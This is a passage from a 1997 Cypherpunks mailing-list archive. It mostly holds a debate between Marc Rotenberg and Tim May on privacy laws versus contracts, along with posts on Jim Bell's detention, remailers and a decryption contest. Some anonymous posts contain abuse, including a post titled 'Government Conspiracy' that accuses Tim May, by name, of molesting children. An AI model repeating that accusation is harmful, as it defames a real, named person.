more payment anonymous, psuedo-anonymous payment schemes.
Wouldn't that be a good result?


>>To be clear, I do believe that there should be
>>laws to protect the right of privacy and that
>>there should be an office within the federal
>>government to advocate on behalf of privacy
>>interests. I also believe that if such an agency
>>had been established in 1991 when it was proposed,
>>it would have been much harder for the government
>>to push subsequently for digital telephony, Clipper,
>>GAK, etc.
>
>I don't believe there should be such laws, obviously.
>
>And more importantly, strong crypto provides numerous monkeywrenchings of
>such laws.
>
>Pass a law requiring return addresses on all messages....the effect will be
>to move the spam sites offshore. Then what do you do?

I think I've answered this above. Yeah, you can always
break a law, and you don't have to move offshore to do it,
but laws still matter.
>
>(When EPIC and ACLU figure out the real implications of strong crypto, look
>for them to talk about "compromises" on access to strong crypto....hey,
>maybe SAFE is an indication they've started to realize what is coming.)

I'm not quite sure what this means, but if Tim knows any group
in DC that has fought harder for strong crypto, I'd like to
know who it is.

Marc.







From shamrock at netcom.com  Sat May 31 15:13:44 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 1 Jun 1997 06:13:44 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>


At 02:16 PM 5/31/97 -0400, Declan McCullagh wrote:
>Uh, no. Bell was charged with violating:
>
>26 U.S.C. Section 7212(a)
>42 U.S.C. Section 408(a)
>
>Which are, generally, attempts to interfere with administration of
>internal revenue laws and fraudulent use of a false SSN.

If that was the extend of the story, Bell wouldn't still be in jail.  The
USC violations above may be the official charge, but they hardly justify
keeping somebody locked up without bail. Bell is still in jail because he
wrote a politically incorrect essay and made the mistake of publishing it.
Come to think of it, that makes him a political prisoner.

What is the penalty for using a fake SSN? Does using a fake SSN warrant
keeping the suspect locked up without bail? I would think not.


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm






From shamrock at netcom.com  Sat May 31 15:42:05 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 1 Jun 1997 06:42:05 +0800
Subject: legal EAR work-around/Paper based remailers
In-Reply-To: <199705311334.IAA18924@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970531153330.00768e3c@netcom13.netcom.com>


At 07:00 PM 5/31/97 +0100, Adam Back wrote:
>Do you have a copy of PGP5.0 on there?  I wouldn't mind looking at
>that.

PGP 5.0 can be obtained from the usual sources.


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm






From jya at pipeline.com  Sat May 31 15:43:47 1997
From: jya at pipeline.com (John Young)
Date: Sun, 1 Jun 1997 06:43:47 +0800
Subject: Rotenberg as the Uber Enemy
Message-ID: <1.5.4.32.19970531222304.00952bcc@pop.pipeline.com>


Lucky's right on Bell's undue incarceration. 

There's more to the story than tax avoidance. Declan 
perhaps should look beyond the government's citations of 
law to examine the other allegations of intent to harm 
federal officials which did not receive substantiating cites.

The affidavit which prompted Jim's arrest was a potpourri of 
disingenuous spleen and bile and unintentional humor.

This appears to be another instance of the USG patchworking 
public menace and phlegm (the Kallstrom syndrome) when it's 
in its self-preservative and -promotional interest to do so. 

As Tim and cie often note, the syndrome's fountainhead is DC 
and world centers of ambitious regulators, enforcers and
promoters for "public security." Which is fast replacing 
national security, via dual-use sleight of hand, as a career 
trajectory.

Counterterrorism is the fastest growing governmental subculture 
at the moment, and no longer aimed overseas. Secret laws,
courts and committees are burgeoning, anticipating that the
public cannot be trusted to protect itself against the enemy
within, ahem, the Beltway.







From shamrock at netcom.com  Sat May 31 15:46:34 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 1 Jun 1997 06:46:34 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: <3.0.2.32.19970531153135.0076a2e4@netcom13.netcom.com>


>At 12:02 PM -0700 5/31/97, Marc Rotenberg wrote:
>>To be clear, I do believe that there should be
>>laws to protect the right of privacy and that
>>there should be an office within the federal
>>government to advocate on behalf of privacy
>>interests. I also believe that if such an agency
>>had been established in 1991 when it was proposed,
>>it would have been much harder for the government
>>to push subsequently for digital telephony, Clipper,
>>GAK, etc.

I am somewhat surprised that you would make this claim, given that you must
have researched the situation in Europe for your article.

European style Privacy Commissioners solely limit the ability of _private_
entities to keep databases. They do not limit the ability of public
entities to keep databases. Sure, when a European government wants to bring
a new Big Brother database online, the Privacy Commissioner has to sign off
on the plan. This is typically a rubber stamp approval. Even worse, the
Privacy Commissioner rubber stamping the plan usually ends discussion,
since the government now can claim that their database is harmless because
the Privacy Commissioner has approved it.

German "dragnet investigations" and "pattern investigations" come to mind.
The German BKA (the equivalent of the FBI) keeps a giant database that
correlates "suspicious" behavior. Paying your utilities bills in cash
(unusual in GIRO-happy Germany) gets you points. If the person on the bill
isn't registered with the police at the address on the bill you get more
points. Paying your rent in cash gets you points. If they don't have a
social security record for you, more points yet. There are many other
criteria that will get you points.

If you collect enough points, the feds come by to interrogate you. Yes, the
Privacy Commissioner approved this "pattern investigation". In the interest
of space, I will spare the list what "dragnet investigation" entails.

It appears naive to claim that GAK could not happen under a Privacy
Commissioner. It could and it will.


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm






From tcmay at got.net  Sat May 31 15:49:11 1997
From: tcmay at got.net (Tim May)
Date: Sun, 1 Jun 1997 06:49:11 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


At 2:33 PM -0700 5/31/97, Marc Rotenberg wrote:


>It's an interesting argument. I don't agree, though
>you can certaintly try it. But more to the point of

Oh, I don't intend to "try it." The Supreme Court is far past ever
restoring basic constitutional rights. Instead of "trying it," better to
monkeywrench it.

>your original post, is the information that TransUnion
>sold to Lexis/Nexis for P-TRAK "public information"?
>If yes, what is private information?

It all depends on what was agreed to, tacitly or explicitly, in the process
of applying for and accepting a credit card. I seem to recall "agreeing to"
multiple pages of fine print about how and to whom information could be
disclosed. That most of us ignore such fine print is our problem....I don't
think there's been any allegation, even by you, Marc, that what Equifax is
doing with credit information is breaking either the contract or any
existing laws. You just want a new set of laws to do what contracts are
perfectly capable of doing. Those who want protection of information
disclosed to others should, of course, make such arrangements.

(And such arrangements are made all the time. Examples abound.)

That such arrangements for a "privacy card" are not easy to make is not an
issue for the law to meddle with. In fact, many of us think there's a
market for just such a "privacy card," and, absent meddling by government,
expect such a card to appear



>I agree that there are real threats to cyber freedom in Europe.
>I'm not saying otherwise. But my point is that anonymous remailers
>and the like will have a better future in countries that recognize
>a right of anonymity as opposed to those that don't.

Despite my dislike of most of what passes for the American system, I'll
take the protections of the First, augmented with the 1956 "anonymous
leafletting" Supreme case, over the "ad hoc" protections nearly all
Europeans have (or don't have).



>The question is what are you going to do with companies
>that won't let you buy a product unless you provide
>your True Name?

The answer to this is both simple and profound. You have heard the answer
many times, but you probably dismiss it as just libertarian rhetoric.

In any mutually uncoerced transaction, say between Alice and Bob, whether
Alice and Bob are individuals, groups, corporations, or whatever, each may
"ask for" various things. You can imagine some things to be asked for.

Either is free to decline the terms of the other and call off the transaction.

(I'm not a lawyer, but I believe this is covered in Contracts. Not meaning
to be snide, but it's essential that people realize _contracts_ are what we
are talking about here.)

So, were a company to refuse to sell me a product unless I provided my True
Name, I would decide just how important this issue is to me.  If it were of
compelling interest to me, I would walk away from the transaction.

(There is no "right" to buy something from someone.)

In reality, I cannot remember the last time a store demanded a True Name,
except when: a) credit (check or credit card or loan) was involved, or b)
the government demanded such a True Name.

The first situation is avoided by paying cash, using a deposit, etc.  The
second situation is not so easily avoided.

But I submit that the hypo of a company refusing to sell a product unless a
True Name is given is unlikely in the extreme, and is not any kind of
justification for a new set of so-called privacy laws which actually
interfere with other basic rights.

>One of the consequences of legal obligations on companies
>that collect personal information might be to encourage
>more payment anonymous, psuedo-anonymous payment schemes.
>Wouldn't that be a good result?

If privacy is important to an agent, make it part of the contractual
arrangement. Again, this is already done in a huge array of cases.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Sat May 31 15:59:56 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 1 Jun 1997 06:59:56 +0800
Subject: Rotenberg as the Uber Enemy
Message-ID: <199705312243.PAA16312@fat.doobie.com>


Tim May wrote:
> 
> I suppose I am developing a reputation amongst the Inside the Beltway Cyber
> Rights Groups (tm) as a pain in the ass

  A polite, mild-mannered person such as yourself? I can't imagine.

> The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> anti-spam legislation, saying that what the legislators in Congress really
> need to look into is how the spammers develop their data bases.....
> 
> Incredible. Does he propose investigations of private data gathering?
> Perhaps search warrants served on those who take public postings and
> construct data bases?
> 
> Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day. But I
> realize 

  I'm certain you also realize that enough of our rights and freedoms
are being taken away in order to save us from "dangerous threats" from
every conceivable source, that we have little use for even more of them
being taken away to protect us from "annoyances."
  I think I'll email Rotenberg and suggest that he enlist Tim May's
support by promising legislation to support warrantless searches for
the purpose of stopping the ASCII art slams of Tim. Knowing how our
"saviors" end up walking with the Devil *over* the bridge once they
become enmeshed in the D.C. mentality, Rotenberg will probably thank
me for the idea.

  To save the citizenry from the "annoyance" of unregulated sidewalk
traffic the city of Moose Jaw, Saskatchewan, passed a law requiring
people to walk on the left side of the sidewalk.
  I sent in a facetious letter to the newspaper supporting the law,
saying things like, "Use of the sidewalk is a privilege, not a right."
etc. I couldn't believe the number of lunatics who took my letter
seriously and supported my position.

  One of my goals in life is to hunt down, mutilate, maim and torture
the individual who coined the expression, "There ought to be a law."

TruthMonger







From nobody at huge.cajones.com  Sat May 31 16:05:50 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 1 Jun 1997 07:05:50 +0800
Subject: Remailer Follies
Message-ID: <199705312243.PAA16315@fat.doobie.com>


Jeff Burchell wrote:
> 
> I have added your address to my block list, this remailer won't send
> anything directly to you in the future. 

> -Jeff
> Operator... Huge.cajones.com

  I have a friend who used to operate a remailer and he told me a
story about receiving an abuse complaint and request for blocking
from an acquaintance who was unaware that he was the operator of
the remailer. The person making the complaint was also a user of
the remailer.
  My friend composed a highly officious reply which indicated that
he had logged and read the remailer messages of both parties and
had reached the conclusion that the complaintant was indeed a
fascist, asshole, etc. and thus did not have a valid complaint
according to the policy of the remailer. He included enough 
personal details regarding the complaintant to indicate that he
had actually been snooping through the messages.
  The complaintant was dumbfounded and responded with a message
asking, "Are you crazy? Do you have any fucking idea what the
concept of anonymity implies?", etc. He concluded by stating that
in the future he would be using encryption in his remailer activity
and send them via other remailers.

  My friend enlisted the aide of another remailer operator who
was a close friend of the complaintant and was known by him to
be the operator of the second remailer.
  The second fellow emailed his friend to announce that a group
discussion between remailer operators had resulted in the decision
that his friend would only be allowed to send plaintext messages
through the remailers since it was standard policy to monitor the
messages to and from "troublemakers" in order to protect the
operators from unfounded accusations against them.
  At this point the complaintant was slightly suspicious of being
the butt of a joke but he was still gullible enough that the two
remailer operators had a bit more fun before copping to the fact
that they were just yanking the complaintant's chain. They had 
the decency to promise not to use the complaintant's real name
when telling the story of their prankery.

> P.S.  Besides... aren't ad hominum attacks on Tim May a Cypherpunks
>       tradition?

  A day without a Tim C. May attack is like a day without moonshine.

MailMonger







From lucifer at dhp.com  Sat May 31 16:11:08 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 07:11:08 +0800
Subject: Rotenberg as the Uber Enemy
Message-ID: <199705312255.SAA26780@dhp.com>


Robert A. Costner wrote:
> At 10:13 PM 5/30/97 -0700, Tim May wrote:
> >The latest quote is from Marc Rotenberg, on a CNN piece on spam and
> >anti-spam legislation, saying that what the legislators in Congress really
> >need to look into is how the spammers develop their data bases.....
> ...
> >Incredible. Does he propose investigations of private data gathering?
> 
> I'd agree here.  Rather than have Congress blindly pass a law, some
> investigation of the matter should be done first.  While I am not supporting a
> law, any such law should have three parts:

  I don't support a new Holocaust, but if we are going to build gas
chambers for killing Jews, they should be...
  When you are on a car lot "just looking" at the new models, the sales
person quickly gets you deciding on the color and other features that
you would want if you *did* purchase a car. You end up driving home in
a car you can't afford and with a vague feeling that the sales person 
might be the one who is responsible for all that legislation that keeps
getting passed for your benefit.

> For good or for bad, the current movement in lawmaking is to plug these
> loopholes that exist for email.

  Judging from the governments past success in plugging the "loopholes"
that allow people to exercise their right to Free Speech, I am certain
they will be able to "save" us from the incredible danger that spam
represents to our well-being.
 
> >Look, I'm annoyed by getting 5-10 "unwanted" spam messages a day.
> 
> Then you miss the point.  For all practical purposes, the spam industry does
> not exist in the US.
> The current
> spam bills are meant to address the actions of about five people in the entire
> United States.

  If the small number of people affected is the basis for justifying
the action taken on the issue, then we could just kill them. If you are
going to rob a bank, take *all* of the money. If you are going to rape
someone, then put it *all* the way in.
  {"Your honour, I would like to point out that my client only raped
five women, and he didn't even stick his schlong all the way in. That
hardly puts him in the same category as a *real* rapist.}

> The manner in which the information is collected is invasive.  People feel
> their privacy is being violated.  The right to be left alone is a fundamental
> right.

  Somebody forgot to tell the government. 

>   -- Robert Costner                  Phone: (770) 512-8746
>      Electronic Frontiers Georgia    mailto:pooh at efga.org

  If you are in any way profiting from the EFG, whether monetarily or
by increased reputation capital, etc., then your post is an Unsolicited
Commercial Email. If not, then it is spam. I can say this with absolute
authority, because I am the person who decides which of my mail is spam
and which is not.
  Encryption businesses sometimes post announcements of new releases 
and the like on the cypherpunks list and I don't usually consider it to
be spam. DataETR posted an announcement on the list and then complained
mightily when cypherpunks asked serious questions about their product.
In my mind, that made their announcement just another commercial product
spam. Now that they have made an effort to actually participate in the
list by "listening" to the list members I no longer consider them to be
just another commercial spammer.

  A few list members who have a product or cause to push do so without
adding any real input to the list. In my mind, their posts are usually
as interesting as reading about how someone is making "BIG $$$" by
spamming me.
  Tom Weinstein, of Netscape, actually "participates" in the list by
discussing the pro's and con's of his product and others, and being
generally realistic about his company's product. If his posts were 
nothing more than claims about how Netscape would get those nasty stains
out of my shorts, then I would consider them spam.
  Jim Bell beat his "Assassination Politics" drum to the point where
he beat it to death and his posts became unwanted spam to some on the
list.

  I read privacy related announcements and the like from organizations
which are theoretically in alliance with the general aims of the list
and consider many of them to be useless spam.
  "XXXX Organization Fighting For Legislation That Only Fucks Over
Five People!"
  "YYYY Organization Supports Bill That Lets Government Cut Off One
Of Each Citizen's Fingers, Instead Of Two!"

  As far as I am concerned, any organization that is "fighting" for
"my" rights by getting involved in political lobbying/activism, etc.,
holds no interest for me as a cypherpunk. There is not a mother's son
among them who isn't soon knee-deep in self-serving "deals" and
"compromise."
  I don't participate in this list to read self-serving missives which
attempt to justify career activists' participation in the government's
dark comedy. If Bill Clinton posted his announcements in regard to
government crypto policy on the cypherpunks list, I would consider it
to be spam. If he sincerely solicited my opinion on the policies, then
he would be a list participant.

  There are some list members whose posts are so knee-jerk and 
unthinking that they amount to nothing more than an unsolicited 
commercial advertisement for their precious self-image. 
  Please! Don't fight for legislation to protect me from their posts.
I would be tempted to support legislation requiring certain list
members to put "BORING AND STUPID" in the Subject header, but then
I would probably be forced to put "CYNICAL AND PESSIMISTIC" in my
own Subject headers.

  My failure to include a donation to your organization with this
post is not an oversight.

C&P






From lucifer at dhp.com  Sat May 31 16:44:15 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 07:44:15 +0800
Subject: There's something wrong when I'm a felon under an increasing number of
Message-ID: <199705312314.TAA27646@dhp.com>


Kent Crispin wrote:
> 
> > >   A major nail in the coffin of Justice for any accused in the U.S.
> > > was when the justice system promoted the concept of guilt by virtue
> > > of "circumstantial" evidence to the point where people can now be
> > > convicted as a result of speculation rather than evidence. Prosecutors
> > > now seem to need only to convince the sheeple that it was "possible"
> > > for the defendant to have commited the crime and that circumstantial
> > > evidence points *only* to the accused.
 
> I don't understand the animus against circumstantial evidence,
> frankly.  Some circumstantial evidence is extremely good evidence.

  The problem is the addition of a mountain of bullshit which is
presented as "evidence" in most prosecutions in order to throw
enough crap at the defendant to ensure that some of it will stick.
  For example, do we really need to have a forensic expert tell us
that a paramilitaristic individual (McVeigh) has traces of things
such as gunpowder, etc., in his clothing? This has about as much
meaning as producing "evidence" that McVeigh took a crap while
he was in custody to "prove" that he ate the food delivered to the
motel room in question.
  Do we need a series of people to bend over backwards to produce
evidence that a telephone calling card PIN number that could have
been used by anybody *might* have been used to place certain calls?

  Perhaps the above examples couldn't be used to support *real* 
evidence of McVeigh's guilt, but there seems to be precious little
of that. In contrast, there is even stronger evidence that precludes
McVeigh having been driving the truck used in the bombing.
  And what kind of "evidence" is a mountain of horrific examples
of dead bodies, etc? It is "evidence" that "somebody has to pay"
for the bombing. Would McVeigh be "innocent" if the prosecution
showed only *one* picture of dead bodies? 

  What we see in the justice system today is reflective of the same
mentality that pervades legal and social issues surrounding the
development, implementation and use of technologies which relate to
our privacy and freedom.
  The government "encryption prosecutors" use the same techniques
as criminal prosecutors to plead their case. They smear you and I
with the same brush used on drug dealers and child pornographers
so that use of cryptography is now "circumstantial evidence" of
our being guilty of "something." We are being prosecuted for use
of encryption on the basis of circumstantial evidence that someone,
somewhere is using cryptography and commiting crimes.

  I don't have any evidence that places Kent Crispin at the scene
of the OKC bombing, but we do know that use of PGP was involved
in the crime. Combined with Michael Fortier's testimony about
Kent's involvement, I think we can get a guilty verdict.

  As I said previously, the problem with circumstantial evidence is
that it is increasingly being combined with emotional rhetoric to
convict people who "could have" commited a certain crime, instead
of those "proven" to have commited the crime.
  I have no doubt that the government could replicate much of the
evidence against Jim Bell in a similar case against more than a
few cypherpunks, as well as producing even stronger evidence of
a similar nature in a full investigation of us. Anonymous and
Nobody would be in big, big trouble.
  In McVeigh's case, I wonder how many others the government 
could find similar or stronger evidence against in the OKC crime?
Regardless of the answer to that question, it is McVeigh who is
the one prosecutors are pointing at when they put up yet another
picture of dead bodies and say that "somebody has to pay" for
the crime.

TruthMonger
{Who has been proven to be Kent Crispin, by a plethora of
circumstantial evidence.}







From staff at dataet.com  Sat May 31 16:47:40 1997
From: staff at dataet.com (DataET Research)
Date: Sun, 1 Jun 1997 07:47:40 +0800
Subject: Decryption Contest Details (Updated)
Message-ID: <3390B399.49BC@dataet.com>


Host: DataET Research (http://www.dataet.com)
Contest expiration date: July 1st, 1997
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Key byte value range: 0 to 255 (decimal), 00 to FF (hexadecimal)
Encrypted (secured) file size: 50,000 bytes (binary, Intel)
Decrypted (unsecured) file size: 50,000 bytes (binary, Intel)
Key and message post location: cypherpunks at toad.com
Contact: info at dataet.com
Limitations: U.S. residents only
Prize: Two free basic Web site packages and $200.00 U.S.






From root at fatmans.demon.co.uk  Sat May 31 17:08:37 1997
From: root at fatmans.demon.co.uk (root)
Date: Sun, 1 Jun 1997 08:08:37 +0800
Subject: Censored pages
Message-ID: 



Message to prolife alliance, CCd to Cypherpunks list:

I noticed an article in .net a few days ago detailing how the prolife 
alliance, a UK anti-abortion group, had been required to remove images of 
aborted foetuses  from their web site. 

Clearly this is another incident of jackbooted motherfuckers censoring 
images that happen to contradict their particular brand of thuggery. 

I am sending this message to the prolife alliance to ask them to send a 
.zip or .tar`d file of their pages to me along with the censored images, 
I am also of course CCing this to cypherpunks to see if anyone out there 
not in the UK is also interested in mirroring these pages, if so send me 
email, or send direct to prolife at enterprise.net, who will, hopefully, 
provide us with a copy of these pages.

Note please cypherpunks that if there is any thread I do not wish to 
start it is a pro/anti abortion thread, therefore, I am making no 
judgements whatsoever, merely suggesting action to prevent censorship...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From dlv at bwalk.dm.com  Sat May 31 17:12:54 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 1 Jun 1997 08:12:54 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: <3.0.2.32.19970531125318.00760494@netcom13.netcom.com>
Message-ID: 


Lucky Green  writes:
> If that was the extend of the story, Bell wouldn't still be in jail.  The
> USC violations above may be the official charge, but they hardly justify
> keeping somebody locked up without bail. Bell is still in jail because he
> wrote a politically incorrect essay and made the mistake of publishing it.
> Come to think of it, that makes him a political prisoner.

The only "political prisoners" are in the USSR and the like.
To imply that there can be "political prisoners" in the enlightened
United States of America constitutes Seditious Spam, a felony.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From rotenberg at epic.org  Sat May 31 17:16:47 1997
From: rotenberg at epic.org (Marc Rotenberg)
Date: Sun, 1 Jun 1997 08:16:47 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


>At 2:33 PM -0700 5/31/97, Marc Rotenberg wrote:
>
>
>>It's an interesting argument. I don't agree, though
>>you can certaintly try it. But more to the point of
>
>Oh, I don't intend to "try it." The Supreme Court is far past ever
>restoring basic constitutional rights. Instead of "trying it," better to
>monkeywrench it.

Don't give up on the Supremes. There was at least one good
decision this year that you should care about, Chandler v. Miller,
striking down the Georgia drug testing requirement for public
officials.  Justice Ginsburg said in an 8-1 opinion that there
was no "symbolic value" exception to the Fourth Amendment. It
was the first time the Court struck down a drug testing law.
And the case was brought by the Libertarian Party in Georgia.
Credit where credit is due.

>
>>your original post, is the information that TransUnion
>>sold to Lexis/Nexis for P-TRAK "public information"?
>>If yes, what is private information?
>
>It all depends on what was agreed to, tacitly or explicitly, in the process
>of applying for and accepting a credit card. I seem to recall "agreeing to"
>multiple pages of fine print about how and to whom information could be
>disclosed. That most of us ignore such fine print is our problem....I don't
>think there's been any allegation, even by you, Marc, that what Equifax is
>doing with credit information is breaking either the contract or any
>existing laws. You just want a new set of laws to do what contracts are
>perfectly capable of doing. Those who want protection of information
>disclosed to others should, of course, make such arrangements.

Sure, and the fine print could say that you waive your right
to vote, your first-born male child will be sold into slavery, etc.
Fortunately, the law doesn't permit this.

Btw, I didn't say Lexis/Nexis was breaking a law. I said
they were exploiting a loophole in a law, which is
exactly right.

>
>(And such arrangements are made all the time. Examples abound.)
>
>That such arrangements for a "privacy card" are not easy to make is not an
>issue for the law to meddle with. In fact, many of us think there's a
>market for just such a "privacy card," and, absent meddling by government,
>expect such a card to appear

Keep me posted. If legislation is threatening a good technical
solution, I'll be the first to blow the whistle.

>
>
>
>>I agree that there are real threats to cyber freedom in Europe.
>>I'm not saying otherwise. But my point is that anonymous remailers
>>and the like will have a better future in countries that recognize
>>a right of anonymity as opposed to those that don't.
>
>Despite my dislike of most of what passes for the American system, I'll
>take the protections of the First, augmented with the 1956 "anonymous
>leafletting" Supreme case, over the "ad hoc" protections nearly all
>Europeans have (or don't have).

The case is MacIntyre v. Ohio (1995), affirming Talley v. California
(1960). I agree that MacIntyre is very important. We keep citing
it in our arguments in support of techniques for anonymity. That's
another example of why law matters.


>>The question is what are you going to do with companies
>>that won't let you buy a product unless you provide
>>your True Name?
>
>The answer to this is both simple and profound. You have heard the answer
>many times, but you probably dismiss it as just libertarian rhetoric.
> . . .
>But I submit that the hypo of a company refusing to sell a product unless a
>True Name is given is unlikely in the extreme, and is not any kind of
>justification for a new set of so-called privacy laws which actually
>interfere with other basic rights.

What about web sites denying access without registration?

I'm not going to argue the adequacy of contract for resolving
privacy issues with you. I know you have a deep belief that
uncoerced market relations are the norm. I'll respect that.
But I have a different view. I don't want people exercising privacy
rights to be discriminated against. I don't want them to have
pay extortionate rates to protect their identity.

>>One of the consequences of legal obligations on companies
>>that collect personal information might be to encourage
>>more payment anonymous, psuedo-anonymous payment schemes.
>>Wouldn't that be a good result?
>
>If privacy is important to an agent, make it part of the contractual
>arrangement. Again, this is already done in a huge array of cases.

It's an interesting view. I could say, with probably more support:

"If privacy is important to an agent, make it part of the
statutory arrangement. Again, this is already done in a huge
array of cases." (Credit reports, bank records, video
rental records, cable subscriber records, telephone calls, etc)

What examples do you have where privacy is included in
a contractual arrangement?

Marc.








From ichudov at algebra.com  Sat May 31 17:17:49 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sun, 1 Jun 1997 08:17:49 +0800
Subject: Censored pages
In-Reply-To: 
Message-ID: <199706010005.TAA00764@manifold.algebra.com>


if it is not more than 500K, I can also host this stuff.

igor

root wrote:
> 
> 
> Message to prolife alliance, CCd to Cypherpunks list:
> 
> I noticed an article in .net a few days ago detailing how the prolife 
> alliance, a UK anti-abortion group, had been required to remove images of 
> aborted foetuses  from their web site. 
> 
> Clearly this is another incident of jackbooted motherfuckers censoring 
> images that happen to contradict their particular brand of thuggery. 
> 
> I am sending this message to the prolife alliance to ask them to send a 
> .zip or .tar`d file of their pages to me along with the censored images, 
> I am also of course CCing this to cypherpunks to see if anyone out there 
> not in the UK is also interested in mirroring these pages, if so send me 
> email, or send direct to prolife at enterprise.net, who will, hopefully, 
> provide us with a copy of these pages.
> 
> Note please cypherpunks that if there is any thread I do not wish to 
> start it is a pro/anti abortion thread, therefore, I am making no 
> judgements whatsoever, merely suggesting action to prevent censorship...
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul at fatmans.demon.co.uk
>   Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 



	- Igor.






From nobody at hidden.net  Sat May 31 17:26:17 1997
From: nobody at hidden.net (Anonymous)
Date: Sun, 1 Jun 1997 08:26:17 +0800
Subject: Government Conspiracy
Message-ID: <199706010011.RAA17277@jefferson.hidden.net>



Timmy C. Mayflower sexually molests little children, farm 
animals, and inanimate objects.

     < >            < >
      V    )_.._(    V Timmy C. Mayflower
      \\   <____>   //
        ~ <______> ~      >
        /~\______/~\     //
        /~\_____/~\     /_\
        /~\____/~\     /_\
         /~\___/\~\  _/_\/
            \___/\__/__\/
              \___/__\/

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."






From tcmay at got.net  Sat May 31 17:46:46 1997
From: tcmay at got.net (Tim May)
Date: Sun, 1 Jun 1997 08:46:46 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


At 6:05 PM -0700 5/31/97, Marc Rotenberg wrote:

>What examples do you have where privacy is included in
>a contractual arrangement?


- a lender agrees to transfer the information provided only to specified
parties, and not to the newspapers

- a stockbroker agrees that as a condition of becoming one's stockbroker he
won't release information to third parties without permission

- relationships between editors, publishing houses, journalists, etc.,
where work product is kept confidential unless otherwise agreed to be made
public

- attorney-client communications

(These and similar examples often have state-supported legalisms to "go
after" those who break the good faith and/or normative contracts for the
industry, but it is accurate to say that these examples are first and
foremost based on _contracts_. Indeed, in all of these cases there are
papers signed stipulating to a constellation of rights and privacy
expectations. And in some cases the rights are subsumed in "general
industry practices," including professional organizations. Thus, I expect
my stockbroker not to publicize my stock holdings, not because there is a
"privacy law" protecting me, but because of either a contract formally
specifying this, or because of industry standards....I freely admit I
haven't checked, nor do I even know how to (my account was established 22
years ago). Those who might argue that these examples are only made
possible because of _laws_ (e.g., SEC rules) are missing the role of
contracts, formal or based on self-regulation in an industry. My broker
knows just how long he'd remain a broker, let alone remain my broker, if he
violated my privacy expectations. Laws are not the point. Nor do laws
provide the robust protection private arrangements provide.)

- banking privacy, modulo the interference by IRS/FinCEN/etc.,

- employment relations, where employees have reasonable expectations that
personal data will not be released outside the company, and companies have
reasonable expectations that corporate secrets will be maintained. (I
signed such papers when I joined Intel, of course, and that contract was
more important for maintaining Intel's "privacy" than any "privacy laws."
Again, quibblers may cite the role of the courts in enforcing such
contracts, but the point remains that it was _contract law_ which was
involved, not "privacy laws" per se.)

And so on. I really don't feel like spending a lot of time making a laundry
list of cases where privacy is part of a mutually agreed upon transaction.

Idenity is just another credential in a transaction.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From paul at fatmans.demon.co.uk  Sat May 31 18:01:31 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 1 Jun 1997 09:01:31 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 



> The initial question has to be not how you protect rights,
> but how you define them. For example, we have a right
